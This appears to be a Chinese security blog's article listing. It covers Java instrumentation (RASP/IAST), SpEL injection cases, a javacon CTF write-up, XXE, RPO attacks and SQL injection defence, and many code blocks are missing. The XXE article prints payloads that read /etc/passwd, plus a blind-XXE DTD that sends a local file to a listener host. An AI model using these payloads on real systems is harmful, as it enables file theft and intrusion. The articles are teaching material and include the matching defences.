分类 WEB 下的文章

插桩技术在Java安全中的应用简述

介绍

随着信息技术的发展,软件开发技术呈多样性发展趋势,其中Java在开发领域具有一定代表性。软件效率的提高同时增大了漏洞发现与防御的挑战。在当前WAF与静态代码检测都发展迅速的情况下,WAF在一些特殊情况下可能无法正确拦截,而静态检测的缺点在于误报率高。因此需要进行动态交互式监测,由此可以从底层对于攻击向量进行检测或者验证程序中是否实际存在安全漏洞。

插桩技术是在保证目标程序原有逻辑完整的情况下,在特定的位置插入代码段,从而收集程序运行时的动态上下文信息。

目前基于插桩技术实现Java程序的动态交互安全监测已经有一些实现形式,如RASP,IAST。在Java中插桩通过Instrument以及字节码操作工具(如:ASM,Javassist,Byte Buddy等)实现。接下来会简要介绍该技术以及相关知识内容。

相关知识

Instrument

Java SE 5引入了一个静态Instrument的概念,利用它我们可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在JVM上的程序,可以在程序启动前修改类的定义。这样的特性实际上提供了一种虚拟机级别支持的AOP实现方式,使得开发者无需对应用程序做任何升级和改动,就可以实现某些AOP的功能了。
在应用启动时,通过-javaagent参数来指定一个代理程序。
详细介绍见:https://www.ibm.com/developerworks/cn/java/j-lo-jse61/

Java Instrument工作原理

javaagent
00218c2023a2ba140887543f88a4fd99

  1. 在JVM启动时,通过JVM参数-javaagent,传入agent jar,Instrument Agent被加载,调用其Agent_OnLoad函数;
  2. 在Instrument Agent 初始化时,注册了JVMTI初始化函数eventHandlerVMinit;
  3. 在JVM启动时,会调用初始化函数eventHandlerVMinit,启动了Instrument Agent;
  4. 用sun.instrument.instrumentationImpl类里的方法loadClassAndCallPremain方法去初始化Premain-Class指定类的premain方法。初始化函数eventHandlerVMinit,注册了class解析的ClassFileLoadHook函数;
  5. 调用应用程序的main开始执行,准备解析;
  6. 在解析Class之前,JVM调用JVMTI的ClassFileLoadHook函数,钩子函数调用sun.instrument.instrumentationImpl类里的transform方法,通过TransformerManager的transformer方法最终调用我们自定义的Transformer类的transform方法;
  7. 因为字节码在解析Class之前改的,直接使用修改后的字节码的数据流替代,最后进入Class解析,对整个Class解析无影响;
  8. 重新加载Class依然重新走6-7步骤;

Java字节码操作工具

BCEL
这是Apache Software Fundation的jakarta项目的一部分。BCEL它可以让你深入JVM汇编语言进行类的操作的细节。
ASM
是一个轻量及java字节码操作框架,直接涉及到JVM底层的操作和指令,性能高,功能丰富。
Javassist
是一个开源的分析、编辑和创建java字节码的类库。性能消耗较⼤大,使⽤用容易。
Byte Buddy
是一个字节码生成与操作库,操作起来更简单。

示例

通过插桩获取SpEL执行中表达式的值(使用Byte Buddy)
Agent:

public class MyAgent {
    public static void premain(String agentOps, Instrumentation instrumentation) {
        System.out.println("start premain");
        new AgentBuilder.Default()
                .type(ElementMatchers.named("org.springframework.expression.spel.standard.SpelExpressionParser"))
                .transform((builder, type, classLoader, module) ->
                        builder.method(ElementMatchers.named("doParseExpression"))
                                .intercept(MethodDelegation.to(SpELInterceptor.class)))
                .installOn(instrumentation);
    }
}

Interceptor:

public class SpELInterceptor {
    @RuntimeType
    public static Object intercept(@Origin Method method, @Argument(0) String expressionString,
                                   @SuperCall Callable<?> callable) throws Exception {
        System.out.println(method.getName()+":"+expressionString);
        long start = System.currentTimeMillis();
        try {
            return callable.call();
        } finally {
            System.out.println("method took " + (System.currentTimeMillis() - start));
        }
    }
}

程序运行时配置

-javaagent:/Users/ruilin/test/bytebuddy-demo/bytebuddy-demo.jar

效果:
屏幕快照 2019-03-12 下午12.39.35

应用

RASP

RASP(Runtime application self-protection)运行时应用自我保护,RSAP将自身注入到应用程序中,与应用程序融为一体,实时监测、阻断攻击,使程序自身拥有自保护的能力。并且应用程序无需在编码时进行任何的修改,只需进行简单的配置即可。
7195ace984937ccbddc171ece82e237e
可见百度开源的OpenRASP(https://rasp.baidu.com)
check

IAST

IAST(Interactive Application Security Testing)交互式应用安全测试,是一种灰盒测试技术。结合SAST和DAST的优点,在模拟黑客外部攻击的同时,对内部实时数据进行监视,提高测试精度。
两种模式
1.Active IAST (主动型)
一个组件产生恶意攻击流程,另一个组件在运行时监视应用。由此来达到漏洞定位以及减少误报。即RASP Agent + DAST = IAST
图片3
可以参见Burpsuite的infiltrator(https://portswigger.net/burp/documentation/infiltrator)
屏幕快照 2019-03-11 下午6.05.33

2.Passive IAST (被动型)
在运行时监视应用并分析代码,它不会主动对Web应用程序执行攻击,而是纯粹被动地分析检测代码。这实际上是一个巨大的优势,因为它不会影响同时运行的其他测试活动,并且只需要业务测试(手动或自动)来触发安全测试。
iast-architecture

IAST如何分析
IAST类似于APM,使用安全传感器来检测应用程序和API。安全相关事件由传感器直接在正在运行的应用程序进行监测,并传递给分析引擎,分析引擎汇总这些事件并识别代码执行的易受攻击程度。
IAST传感器创建了一系列与安全相关的事件,并这些事件提供给分析引擎。该引擎可以执行各种规则。
10934490-image1

In effect, IAST establishes guardrails for a program. If the stream of telemetry from the sensors indicates that the behavior of the program has violated one of these guardrails, it is reported as a vulnerability.

总结

插桩技术可以很好的用于交互式应用检测与程序运行时的自我保护,它通过Java探针达到可以在执行代码底层分析上下文环境的能力。随着计算机各个方面性能的整体提高,也已成为当前安全监测中值得研究的一个方向。
10934497-picture3

参考

http://blog.nsfocus.net/rasp-tech/
http://kns.cnki.net/KCMS/detail/detail.aspx?dbcode=CMFD&filename=1014026901.nh
http://ouyblog.com/2019/03/基于Java-Agent与Javassist实现零侵入AOP
https://www.jianshu.com/p/9f4e8dcb3e2f
https://github.com/gyyyy/footprint/blob/f0f811fe2302df8cca9a151660f9d96d4b030784/articles/2018/application-security-testing-cheatsheet.md
http://www.zjtbzx.gov.cn/html/2018/08/31/9744bdb6-cea3-4c51-aa7b-aa76ea647bfa.htm
https://blog.secodis.com/2015/11/26/the-emerge-of-iast/
http://sectooladdict.blogspot.com/2017/05/dast-vs-sast-vs-iast-modern-ssldc-best.html
https://dzone.com/refcardz/introduction-to-iast?chapter=1

由浅入深SpEL表达式注入漏洞

SpEL介绍

认识SpEL

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。除此以外SpEL还能做的有很多,从官方文档中我们可以看到,SpEL支持以下功能。

  • Literal expressions
  • Boolean and relational operators
  • Regular expressions
  • Class expressions
  • Accessing properties, arrays, lists, maps
  • Method invocation
  • Relational operators
  • Assignment
  • Calling constructors
  • Bean references
  • Array construction
  • Inline lists
  • Ternary operator
  • Variables
  • User defined functions
  • Collection projection
  • Collection selection
  • Templated expressions

基础用法以及使用场景

上方功能中加粗的几项是我们在其表达式安全中重点学习的地方,我们首先来看SpEL的常见用法,然后会依次介绍其中几项功能的基本用法,以及在部分框架中SpEl的使用位置。

1.SpEL API

这里使用了SpEL API来评估文字字符串表达式“Hello World”。我们通常用该方式来测试或者使用SpEL表达式。
其中接口ExpressionParser负责解析表达式字符串。在这个例子中,表达式字符串是由周围的单引号表示的字符串文字。之后接口Expression负责评估以前定义的表达式字符串。
所以说上述代码含义为首先创建ExpressionParser解析表达式,之后放置表达式,最后通过getValue方法执行表达式,默认容器是spring本身的容器:ApplicationContext

2.SpEL语法

SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}

其中属性名称引用还可以用$符号 如:${someProperty}
除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算符:

T()运算符的结果会返回一个java.lang.Math类对象。

具体常见表达式用法会在4.功能用法示例中给出。

3.SpEL在bean定义中

  1. XML配置
  2. 基于注解的使用

4.功能用法示例

Class expressions
1.类类型表达式
SpEL中可以使用特定的Java类型,经常用来访问Java类型中的静态属性或静态方法,需要用T()操作符进行声明。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的是,SpEL内置了java.lang包下的类声明,也就是说java.lang.String可以通过T(String)访问,而不需要使用全限定名。
因此我们通过 T() 调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性:
如:

成功弹出计算器
2.类实例化
使用new可以直接在SpEL中创建实例,需要创建实例的类要通过全限定名进行访问。
如:

Method invocation
方法使用典型的Java编程语法来调用。
如:

Calling constructors
可以使用new调用构造函数。除了基元类型和字符串(其中可以使用int、float等)之外,所有的类都应该使用完全限定的类名。
如:

Bean references
如果解析上下文已经配置,则可以使用@符号从表达式中查找bean。

Variables
变量定义通过EvaluationContext接口的setVariable(variableName, value)方法定义;在表达式中使用#variableName引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象,使用#root引用根对象,使用#this引用当前上下文对象。
如:

在SpEL中比较常见的用途是针对一个特定的对象实例(称为root object)提供被解析的表达式字符串,当我们把contextroot object设置为一个对象时,我们在取的时候可以省略root对象这个前缀了。如下:
首先定义一个类

设置root object后SpEL执行以及结果如下

这里在执行表达式时,SpEL会在内部使用反射从根对象中获取/设置属性的值。

User defined functions
用户可以在SpEL注册自定义的方法,将该方法注册到StandardEvaluationContext 中的registerFunction(String name, Method m)方法。
如:
我们通过JAVA提供的接口实现字符串反转的方法。

我们可以通过如下代码将方法注册到StandardEvaluationContext并且来使用它。

Templated expressions
表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。当然,常见的选择是使用#{}作为分隔符。
如:

该字符串是通过连接文字”random number is”与 计算表达式的#{}定界符获取的结果,在此情况下的结果 中调用一个随机()方法。第二个参数的方法parseExpression() 是类型ParserContext的。在ParserContext接口用于影响如何 表达被解析,以便支持所述表达模板的功能。的TemplateParserContext的定义如下所示。

更多细节可查看官方文档

SpEL导致的任意命令执行

漏洞原因

从上方功能的类类型表达式示例中,我们可以看到成功执行了系统的命令,而这也就是整个SpEL安全中造成RCE漏洞的区域。因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
屏幕快照 2019-01-17 下午10.06.09

其中容易造成漏洞的两个位置是
1.针对一个特定的对象实例提供被解析的表达式字符串
如之前用法示例中Variables所介绍,可能造成指定属性名被构造成恶意代码
2.双重EL表达式评估
如:

这个很明显通过两次EL表达式执行后,如果可以控制传入的directoryNameForPopup参数为恶意代码就会造成漏洞发生

我们可以再看下SpEL提供的两个EvaluationContext的区别。
(EvaluationContext评估表达式以解析属性,方法或字段并帮助执行类型转换时使用该接口。有两个开箱即用的实现。)

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集。它不包括 Java类型引用,构造函数和bean引用。

所以说指定正确EvaluationContext,是防止SpEl表达式注入漏洞产生的首选,之前出现过相关的SpEL表达式注入漏洞,其修复方式就是使用SimpleEvaluationContext替代StandardEvaluationContext

常用payload

关键字黑名单过滤绕过:
可以参考之前Code-Breaking Puzzles — javacon的这道题目(writeup http://rui0.cn/archives/1015 ),主要通过正则匹配java关键词(如:java.+lang exec.*\(等)来防御,其绕过方式有两种 如下:

  1. 利用反射构造
  2. 利用ScriptEngineManager构造

在Nuxeo RCE中也有个黑名单绕过,因为它过滤了.getClass(
所以采取的姿势是通过SpEL语法的集合选择绕过,payload如下。具体分析可见(http://www.polaris-lab.com/index.php/archives/613

除此以外当执行的系统命令被过滤或者被URL编码掉时我们可以通过String类动态生成字符
如要执行的命令为open /Applications/Calculator.app我们可以采用new java.lang.String(new byte[]{<ascii value>,<ascii value>,...})或者concat(T(java.lang.Character).toString(<ascii value>))嵌套来绕过
两种构造方式的python脚本如下:

加工一下即为

成功执行
屏幕快照 2019-01-17 下午11.41.33

其次如果有输出点需要回显可以使用

[更新-2019.4.14]因为JAVA9新增了JShell,所以我们也可以利用这个功能执行命令 @sagar38 from Twitter

漏洞案例分析

SpringBoot SpEL表达式注入漏洞

影响版本:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0

首先搭建存在漏洞版本的SpringBoot,创建一个controller并抛出异常
只要在异常信息中包含SpEL表达式即可注入

请求地址

可以看到成功输出
屏幕快照 2019-01-18 下午5.22.29
其造成的原因主要是在ErrorMvcAutoConfiguration.java中的SpelView

该类调用处为

可以知道SpelView主要是为了解析Whitelabel Error Page模板页面去填充其中的相关数据
SpelView中,首先我们可以观察到其使用了StandardEvaluationContext

之后

用于递归解析在${...}中的表达式,也就是这里导致SpEl表达式注入并执行。其中用到SpEl表达式解析执行的目的主要是为了从当前contextrootObject取相关数据 如timestamp(上方功能用法示例中-> Variables 中介绍过)
屏幕快照 2019-01-18 下午7.10.45

大致流程为PropertyPlaceholderHelper类中通过parseStringValue方法递归字符串找到目标去掉 $(),这个方法中调用resolvePlaceholder方法来在context中找到对应的name,并在这里执行了getValue操作。由此造成命令执行。代码如下。

其核心思想就是在递归中从context下的message中取出需要再次递归解析的$(payload),由此来在下一次的解析后去掉$()并把其中payload当作传入的name参数来执行getValue操作。
屏幕快照 2019-01-18 下午7.25.45

其补丁是创建了一个新的NonRecursivePropertyPlaceholderHelper类,来防止递归解析路径中或者名字中含有的表达式。
详见: https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

Spring Data Commons远程代码执行漏洞(CVE-2018-1273)

影响版本:
1.13-1.13.10
2.0-2.0.5

漏洞主要因为是在自动解析用户的参数的时候采用了SpEL去解析propertyName
我们直接从补丁看漏洞代码是位于MapPropertyAccessor类的setPropertyValue方法
屏幕快照 2019-01-18 下午8.01.45
可以看到这是很直接的之前错误的使用了StandardEvaluationContext造成的RCE,修复方式也是主要通过替换为SimpleEvaluationContext完成。
漏洞形成的原因就是当用户在开发中利用了Spring-data-commons中的特性对用户的输入参数进行自动匹配时候,会将用户提交的form表单中的参数名作为SpEL执行。
漏洞代码:

开发者使用如下代码:

其流程简单上说就是在获取POST过来的参数时候因为要自动绑定进入实体类,所以首先要通过isWritableProperty中调用的getPropertyPath来判断参数名。如:传来的username参数是否是开发者controller中接收的UserForm实体类里的一个属性名。然后把用户传入的参数key即propertyName进行PARSER.parseExpression(propertyName),最后setValue(context,value)触发了恶意代码。(上方功能用法示例中-> Variables 中介绍过)
细节如果需要了解可以自己调试一下。
payload:

屏幕快照 2019-01-22 上午12.32.05
setValue(context,value)时候会把propertyName内的username作为一个集合,利用了SpEL集合选择的功能,所以就会执行中括号里面的SpEL表达式了。
屏幕快照 2019-01-20 下午12.19.44

防御方式

因为SpEL表达式注入漏洞导致攻击者可以通过表达式执行精心构造的任意代码,导致命令执行。为了防御该类漏洞,Spring官方推出了SimpleEvaluationContext作为安全类来防御该类漏洞。
官方文档:https://docs.spring.io/spring/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html
常见用法:

总结

经过常见用法以及几个案例分析,我们可以知道,事实上在一般的开发后台过程中我们基本不会写出这样的漏洞点,一般就是通过注解或者XML用其Bean以及上下文中变量的存取功能。而出现漏洞的位置基本有两种,一是相关框架中在需要用一种通用的方法获取或者设置某对象中指定属性名的属性值的时候,也可以说使用SpEL的地方往往就是需要利用它内部使用反射的这个特点,从而可以省去我们编写的麻烦,来达到一些目的。二是在双重EL表达式评估中发生。发现该漏洞可以通过这些关键触发方法或者类如getValueStandardEvaluationContext等,当然也可以通过find-sec-bug这个插件来寻找。其防御方式是使用SimpleEvaluationContext来禁用其敏感的功能,从而阻止表达式注入执行问题的出现。

参考

https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html
http://www.polaris-lab.com/index.php/archives/613/
https://m.habr.com/company/dsec/blog/433034/
http://blog.nsfocus.net/spel-vulnerability-technical-analysis-and-protection-scheme/
http://deadpool.sh/2017/RCE-Springs/
https://2018.zeronights.ru/wp-content/uploads/materials/10%20ZN2018%20WV%20-%20Spel%20injection%20.pdf
https://www.freebuf.com/vuls/172984.html
http://xxlegend.com/2018/04/12/CVE-2018-1273-%20RCE%20with%20Spring%20Data%20Commons%20分析报告/
https://www.secpulse.com/archives/75930.html

Code-Breaking Puzzles — javacon WriteUp

刷微博正好看到P神的活动,学习了。

简单记录下jar分析一般步骤:
源码下载后,JD-GUI反编译,或者到IDEA中放进lib便可以查看反编译class源码。
如果需要调试,IDEA打断点后,配置Remote如下
屏幕快照 2018-11-25 下午6.31.18

命令启动

再点击IDEA右上角的DEBUG即可。

程序结构:
屏幕快照 2018-11-25 下午6.34.08

首先我们可以从SpringBoot的配置 application.yml看起

主要就是一个黑名单,一个用户的提供。

其他文件 :
SmallEvaluationContext 继承 StandardEvaluationContext,主要是提供一个上下文环境,相当于一个容器。
ChallengeApplication 用于启动
Encryptor 加密解密工具类
KeyworkProperties 使用黑名单时需要
UserConfig 用户模型,可以看到在RemberMe时使用了Encryptor

主要看MainController
屏幕快照 2018-11-25 下午6.41.24

我们从登录看起

判断用户名密码,如果勾选了remberMe则浏览器存入加密后的cookie。
最后跳转hello.html

屏幕快照 2018-11-25 下午6.45.23

打开页面后其中比较敏感的一个操作就是对Cookie的处理,如下

程序判断rememberMeValue存在后,直接对其进行解密,然后将其setAttribute,接下来可以看到this.getAdvanceValue(username.toString())
我们来看这个方法。

其实就是与其跟黑名单做正则匹配,如果匹配成功则抛出HttpStatus.FORBIDDEN,如果没有匹配到则进行正常流程,在SmallEvaluationContext进行SpEL表达式解析。注意,这里就存在El表达式注入的问题了。
在JAVA中我们可以通过

来执行命令,但在这个题目中使用了黑名单。
所以这里我们需要使用反射来构造一条调用链,这样就可以在关键字处使用字符串拼接来达到绕过黑名单的效果。
不熟悉反射的小伙伴可以先学习一下,这里我直接给出POC 还有一些注意的点。

我们选择利用curl来配合执行命令,所以如下,字符串拼接很好理解,很容易绕过了正则匹配。

运行一下,可以看到我们成功接受到了请求。
屏幕快照 2018-11-25 下午7.04.58

接下来我们需要将其构造为SpEl的解析格式,主要就是改一个T() 。在SpEL中,使用T()运算符会调用类作用域的方法和常量。
需要注意的一个点,在JAVA中Runtime中exec对复杂一点的linux命令执行不了…我们需要将其参数改成如下才可以

所以我们构造如下POC 来执行命令并获取结果,这里一个小技巧就是使用base64来传数据。

获取目录
之后cat flag,如下,再像上面一样加密后存入cookie中即可。

屏幕快照 2018-11-25 下午6.44.00
屏幕快照 2018-11-25 下午6.17.31
屏幕快照 2018-11-25 下午6.17.42

最后,师傅们Tql,感谢p神的题目。
屏幕快照 2018-11-25 下午6.33.22

XXE漏洞原理以及防御方式

前言

web中除了我们熟悉的传参,或者JSON格式实现客户端与服务器之间的数据交流,还有XML的方式,熟悉开发的小伙伴肯定接触过它,比如在SpringMVC中的各种配置。同时XML也是许多使用XML schemas实行数据交换的协议的基础,例如RSS,Atom,SOAP等。
那么在web中使用XML进行数据交互会出现什么安全问题呢,这就是我们这里要讲的XXE漏洞。

XXE漏洞介绍

XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网。

相关概念以及利用方式

DTD

DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。
引用方式:

  1. DTD 内部声明
    <!DOCTYPE 根元素 [元素声明]>

  2. DTD 外部引用
    <!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>

  3. 引用公共DTD
    <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

ENTITY

XML中的实体类型,一般有下面几种:命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。
1.内部实体
一般用于变量声明
<!ENTITY 实体名称 "实体的值">
如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "Hello">
    <!ENTITY y "World!">
]>
<root><x>&x;</x><y>&y;</y></root>

屏幕快照 2018-10-09 下午5.49.34

2.外部普通实体
一般用于加载外部文件,不同程序支持的协议不一样。这里我们就可以利用不同协议来达到任意文件读取/内网探测等。
屏幕快照 2018-10-09 下午5.51.39

<!ENTITY 实体名称 SYSTEM "URI/URL">
如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "First Param!">
    <!ENTITY y "Second Param!">
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><x>&x;</x><y>&y;</y><xxe>&xxe;</xxe></root>

屏幕快照 2018-10-09 下午6.00.55

3.外部参数实体
参数实体用于DTD和文档的内部子集中。与一般实体不同,是以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。除了可以完成有回显的情况。这里还可以用于Blind XXE攻击。
<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">
如(Blind XXE):
由于语法限制所以我们需要在外部DTD中接受对应参数

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///Users/ruilin/test/flag">
    <!ENTITY % dtd SYSTEM "http://rui0.cn/test/evil.dtd">
    %dtd;
    %send;
]>

evil.dtd 内部的%号要进行实体编码成&#x25
(这里的http://127.0.0.1:8888大家可以理解为自己VPS,我这里为了方便直接使用本机接收读取内容)

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8888/?file=%file;'>"
>
%all;

屏幕快照 2018-10-09 下午7.06.04

XXE漏洞防御

JAVA中解析XML常见的几个库有DOM、DOM4J、JDOM 和SAX

1.setFeature
feature表示解析器的功能,通过设置feature,我们可以控制解析器的行为。

// 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体POC
setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体POC

最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。
修复代码如:

public String xxe_SAXParser_fix(HttpServletRequest request) {
        try {
            String xml_con = getBody(request);
            System.out.println(xml_con);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler());  // parse xml
            return "test";
        } catch (Exception e) {
            System.out.println(e);
            return "except";
        }
    }

2.检测/过滤关键词
常见的可以过滤ENTITY,openrasp采用的方式为检测敏感协议和读取的敏感文件。但都存在被绕过的风险。

参考

https://xz.aliyun.com/t/2761
http://www.freebuf.com/column/156863.html
https://resources.infosecinstitute.com/xxe-attacks/
http://skysec.top/2018/08/17/浅析xml及其安全问题/
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
https://github.com/JoyChou93/java-sec-code

浅析RPO攻击

强网杯学到的一个新姿势。比赛之后研究了下,感觉实际情况下还是比较难利用的,不过这种攻击思路值得学习。


什么是RPO攻击

RPO(Relative Path Overwrite)相对路径覆盖,是一种新型攻击技术,最早由Gareth Heyes在其发表的文章中提出。主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。

就目前来看此攻击方法依赖于浏览器和网络服务器的反应,基于服务器的Web缓存技术和配置差异,以及服务器和客户端浏览器的解析差异,利用前端代码中加载的css/js的相对路径来加载其他文件,最终浏览器将服务器返回的不是css/js的文件当做css/js来解析,从而导致XSS,信息泄露等漏洞产生。

其实猛的一看定义,刚开始我还以为和缓存攻击差不多,其实不一样。简单来理解RPO攻击的原理,我认为就是服务端和客户端(不同模块)对url(请求内容)处理不一致导致的。这也就是上面我说的攻击思路,其实这样的攻击思路在很多web攻击中都用到,比如说二次注入,宽字节注入。

漏洞浅析

差异

这里先用绿盟文章中的案例来了解一下几个关于服务器和客户端浏览器在解析和识别上的差异性基础知识。

第一个差异化

在apache和Nginx环境下,正常情况访问如下:

然后在Apache中将/编码为%2f后,服务器无法识别url,返回404,但是在Nginx中将/编码为%2f后,服务器可以识别编码后的url,返回200:

可见不同web服务器对url的识别是不一样的。

第二个差异化

在Nginx中,编码后的url服务器可以正常识别,也就是说服务器在加载文件时会解码后找到具体文件返回返回客户端。

但是在客户端识别url时是不会解码的,正常情况下解码%2f解码后应该加载的是rpo/xxx/../x.js,最后也就是rpo/x.js文件;而这里加载的是/x.js,所以浏览器是没有解码%2f的。

实际上通过测试,客户端浏览器在加载相对路径文件时是以最后一个/为相对目录加载具体资源文件的。

 

我们再来了解一下pathinfo

什么是pathinfo

利用pathinfo解析URL

结果

在pathinfo模式下

http://localhost/index.php?m=Index&a=test 等同于 http://localhost/index.php/Index/test

—-

http://www.xxx.com/index.php/模块/方法

该模式会产生的安全问题–>http://www.jb51.net/article/102156.htm

事实上就是读不到东西会退后直到能读到东西然后解析出来,也就是把读不到的路径当成模块啥的。就好比传了个参数一样,实际加载页面是前面的。

来看下这次强网杯题目来理解

Show your mind

http://39.107.33.96:20000/index.php/view/article/111

可以看到这样的url方式应该是使用了pathinfo模式相当于

http://39.107.33.96:20000/index.php?mod=view&article=763

首先可以看到/index.php/引入了js。

然后一个功能我们可以往生成页面写入任意字符,但是这个页面有限制不能直接执行js,这时候我们就要利用RPO攻击了

首先我们在写入alert(1)

比如写到了http://39.107.33.96:20000/index.php/view/article/111 页面

接着通过构造

http://39.107.33.96:20000/index.php/view/article/111/..%2f..%2f..%2f..%2findex.php 打开网页

jq.js加载了我们构造的js

对于上面的payload实际上,服务端解析为

http://39.107.33.96:20000/index.php/view/article/111/../../../../index.php

所以实际上渲染了index.php页面,而页面中jq是通过相对路径引用的 static/js/jquery.min.js

因为差异性,我们浏览器客户端去找js路径是无法解析%2f的

就把..%2f..%2f..%2f..%2findex.php这当成一个文件,

找jq文件路径就成了http://39.107.33.96:20000/index.php/view/article/111/static/js/jquery.min.js

读到static那,因为找不到就又不读了,所以就直接加载了http://39.107.33.96:20000/index.php/view/article/111/的内容

所以我们的jquery.min.js内容成了alert(1)

 

对于实际场景中的利用:个人感觉还是比较难利用的,也就是说首先网站有可控输出点,然后未声明<!DOCTYPE html>,(声明了就是标准模式(strict mod),未声明就是怪异模式,就是浏览器使用自己的方式解析网页代码。),使用相对引用方式,有的还得配合pathinfo。如果使用{}*{xss:expression(open(alert(1)))}/`也只能在IE6,7成功。当然还有加载Scriptlet方式,不过也有同域限制。


参考:

http://www.jb51.net/article/102156.htm

http://blog.nsfocus.net/rpo-attack/

 

PreparedStatement防止sql注入

今天测试一个demo发现里面有点小问题,代码很规范,其中操作jdbc使用PreparedStatement也很正常,可是测试时候突然发现其采用了字符串追加形式来生产sql语句,这样使用其实直接绕开了PreparedStatement的优点[参数化的查询],从而可以轻易的造成sql注入。


首先我们先认识三个重要的对象

 1.Connection

代表着Java程序与数据库建立的连接。

2.Statement

代表SQL发送器,用于发送和执行SQL语句。

3.ResultSet

代表封装的数据库返回的结果集,用于获取查询结果。

 

上面是demo中的初始化方法和对象的使用,还有读取DbConfig.properties配置文件

什么是sql注入

简单来说就是黑客通过与服务器交互时在创建者没有有效的进行过滤的情况下的一种拼装sql命令来达到改变sql语义进而获取其敏感数据的行为.

 

那么如何进行有效的防御?我们还是在java中围绕这个demo说

它其中判断登陆用户是否成功的方法是这样写的

当我们尝试登陆一个错误用户,flag返回false,正确时返回true

可以看到,这时数据库执行的命令为

因为没有符合的返回,所以flag依然为false

可是当遇到别有用心的人时登陆就不会是这么简单的操作,比如我们执行下面的sql命令,数据库会回应怎样的数据呢?

可以看一下

返回了两个用户的信息,这也不用怎么解释,前面两个值与and返回为false而之后配一个or 1=1 也就相当于执行了

所以攻击者可以配合这样的语法来进行任意用户登陆,如 密码输入为

rs next了两次自然返回true

所以如何避免呢,在java中,Java提供了 Statement、PreparedStatement 和 CallableStatement三种方式来执行查询语句,其中 Statement 用于通用查询,PreparedStatement 用于执行参数化查询,而 CallableStatement则是用于存储过程。

其中PreparedStatement就是可以有效防止常见的sql注入的一种方法

PreparedStatement是java.sql包下面的一个接口,用来执行SQL语句查询,通过调用 connection.preparedStatement(sql) 方法可以获得PreparedStatment对象。数据库系统会对sql语句进行预编译处理(如果JDBC驱动支持的话),预处理语句将被预先编译好,这条预编译的sql查询语句能在将来的查询中重用,这样一来,它比Statement对象生成的查询速度更快。

PreparedStatement与Statement区别

Statement是PreparedStatement的父类,作为 Statement 的子类,PreparedStatement 继承了 Statement 的所有功能。

Statement不对sql语句作处理而直接交给数据库;而PreparedStatement支持预编译,对于多次重复执行的sql语句,使用PreparedStament使代码的执行效率,代码的可读性和可维护性更高,PreparedStament提高了代码的安全性,防止sql注入。

安全性 效率 开销 可读性 维护性

prepareStatement

高,预编译 容易

Statement

